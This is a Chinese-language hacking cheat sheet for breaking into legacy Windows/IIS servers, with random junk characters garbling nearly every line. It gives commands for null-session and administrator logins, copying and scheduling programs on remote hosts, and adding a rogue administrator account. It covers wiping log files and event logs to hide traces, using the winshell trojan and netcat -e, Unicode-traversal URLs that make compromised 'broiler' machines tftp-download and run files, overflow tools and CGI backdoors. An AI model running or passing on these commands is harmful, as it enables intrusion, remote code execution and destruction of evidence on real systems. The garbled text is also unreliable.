网管和黑客都必须知道的命令
LA?h +) 常用的几条NET命令：
DMO 8~5 NbG`v@yH （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
/sHWJ?`&/, 4E\Jk 5co, （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
X 633.]+ !##OQ （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
7&-i
:2 Ps=OL\i （查看远程主机时间） net time \\IP地址
B+W 4r9# p1^ k4G （定时启动某个程序） at \\IP地址 02:18 readme.exe
X@`kuWIUw ZmM/ YPy （查看共享） net view \\IP地址
5`] ;[M9 E 2J.t`H （查看netbios工作组列表） nbtstat -A IP地址
!5 8j xh q=Cc2|Ve （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
~@g7b`t=la yKSvg5lLy （这两条把自己增加到管理员组）： net user 用户名 密码 /add
~:8}Bz2!5 s az<NT net localgroup Administrators 用户名 /add
N pu#.)G 0V:7pSC{P （断开连接） net use \\IP地址\ipc$ /delete
F/1B>2$` J~ dk4D\ 扫尾：
dk}T&qZ~p rO#WG}E<" del C:\winnt\system32\logfiles\*.*
Buazm3q8H mWhQds6 del C:\winnt\ssytem32\config\*.evt
@&H Tt GI:J9TS del C:\winnt\system32\dtclog\*.*
Qe8F( k~k B[2 qI7D$ del C:\winnt\system32\*.log
xz9x t wLX:~]<xl del C:\winnt\system32\*.txt
0A$x'pU) k.UQ T ^. del C:\winnt\*.txt
>SS
YYy NFDh! HUm del C:\winnt\*.log
1$1s 0yg $A>\I3B 一、netsvc.exe
7Q_AZR 4 ~ o"VZp 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
0xv@l^B !a ylrJJ netsvc /list \\IP地址
?;{ d >\J({/ #O netsvc schedule \\IP地址 /query
O+ ].' Pr|:nJs netsvc \\IP地址 schedule /start
oaxCcB=\ k {M4.a[ ( 二、OpenTelnet.exe
G.#`DaP x+1Cs$E; 远程启动主机的Telnet服务，并绑定端口到7878，例如：
"DWw]\xO]( ^o;f~6#17 OpenTelnet \\IP地址 用户名 密码 1 7878
W+F{!d W ,_ zivUU 然后就可以telnet到主机的7878端口，进入DOS方式下：
g>g]qQ ~96fyk| telnet IP地址 7878
4.>rd6BAN- I.V?O} 三、winshell.exe
k5 s8s@ ?<_yW# x6 一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
TgFj- "L\ ?ykQ]r6 a< p Path （查看winshell主程序的路径信息）
tX lo27J 1Z.
D3@ b reBoot （重新启动机器）
hT
c
VMc gmF Cjs d shutDown （关闭机器）
;;A8*\*$ ):LgZ4h s Shell （执行后你就会看到可爱的“C:\>”）
P~"e=N L5 &nJH23h ^ x eXit （退出本次登录会话，此命令并不终止winshell的运行）
B;k3YOg <o JM|| ZA CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
R8K j3wp e|6 k gj3/ 四、3389登陆器，GUI方式登录远程主机的
G6l: El& *<.{sx^Gk 五、elsave.exe
C 2 $_Ad=s y,D@[*~Xb 事件日志清除工具
+0{$J\ s Rv-`6eyAA elsave -s \\IP地址 -l "application" -C
%Y0, ww2 wNNInS6 elsave -s \\IP地址 -l "system" -C
0[/GEY@ R&lJ& SgC elsave -s \\IP地址 -l "security" -C
UG @9X/l} olHT* mr 执行后成功清除应用程序日志，系统日志，安全日志
2hD(zUSy c/K:`XP~ 六、hbulot.exe
)qyJw N
.D ef
!@|2 开启win2kserver和winxp的3389服务
4Z'/dI` !c 3c%=W hbulot [/r]
^`BiA'gPPC -'q#u C 使用/r表示安装完成后自动重起目标使设置生效。
E ISgc {s 3I}(as{Rp 七、nc.exe(netcat.exe)
mNc?`G_R [ 2WJ];FJ 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
{~L{FG)O ; 7;=)/- 想要连接到某处: nc [-options] hostname port[s] [ports] ...
+-s$ Htx eUY/H1 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
{ :^;byd xZMQ+OW2i 参数:
zCpsGr &3@ {?K -e prog 程序重定向，一旦连接，就执行 [危险!!]
IdHyd Y1 %a'Nf/9=: -g gateway source-routing hop point[s], up to 8
<`PW4zSI a/@F? \A -G num source-routing pointer: 4, 8, 12, ...
!Dc|g~km\ V:YN! -h 帮助信息
bi@z<Xm% E~4d6~s -i secs 延时的间隔
+n'-%?LD& FZk=-.Hk -l 监听模式，用于入站连接
4V6^@ '<$!?=" -n 指定数字的IP地址，不能用hostname
>ocDh~@aP 4G o$OQ` -o file 记录16进制的传输
Ml"i^ LR+ ,$H[ DX -p port 本地端口号
;?q>F3 n .eNeq C -r 任意指定本地及远程端口
Ba 8 s t9U-c5bR -s addr 本地源地址
?3duW$` B.Szp_$ -u UDP模式
UPE9e
k =^~\$e -v 详细输出——用两个-v可得到更详细的内容
x>ZnQ6x~m] 0=:]tSD\F -w secs timeout的时间
=%i~HDiy .kl. a wT -z 将输入输出关掉——用于扫描时
e >6 NO 八、TFTPD32.EXE
E"/r* C+T Ifx
EM 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
t.s;dlx[@
*v}3So http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
8@)4)+e #;+ABV 然后可以直接令文件运行：
'5usPD o/J2BZ<_< http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
K6 z)&< h1_9Xp~N 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
8kRqF?rb j { :%A
一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
"p" M9P' !gyEw1Re7 一、一 Xscan命令行运行参数说明：
?= },%^ ~MpcVI_ K 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
?=FRn pU? r@30y/C 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
BH<jnQ ozCH1V{p xscan -file <主机列表文件名> <检测项目> [其他选项]
B-.QGf8K. VoGyjGt& 其中<检测项目> 含义如下:
o-}q|tD$< =/Lwprj -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
L>ruNw'-K #~JR_oQE ! -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
<@](uWu n>o0PtGxC -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
o4U[;.?c e,X {.NS -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
yu.N> [= O: J;zv\ -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
Cq ra\ @p\te7(P% [其他选项] 含义如下:
5*#3v:l/9 {L#+v~d^'n -v: 显示详细扫描进度
4iPxtVT c]x'}K c -p: 跳过Ping不通的主机
L7rEMq CKuf'h# -o: 跳过没有检测到开放端口的主机
V ."qxKsz qt.Y6s:r_ -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
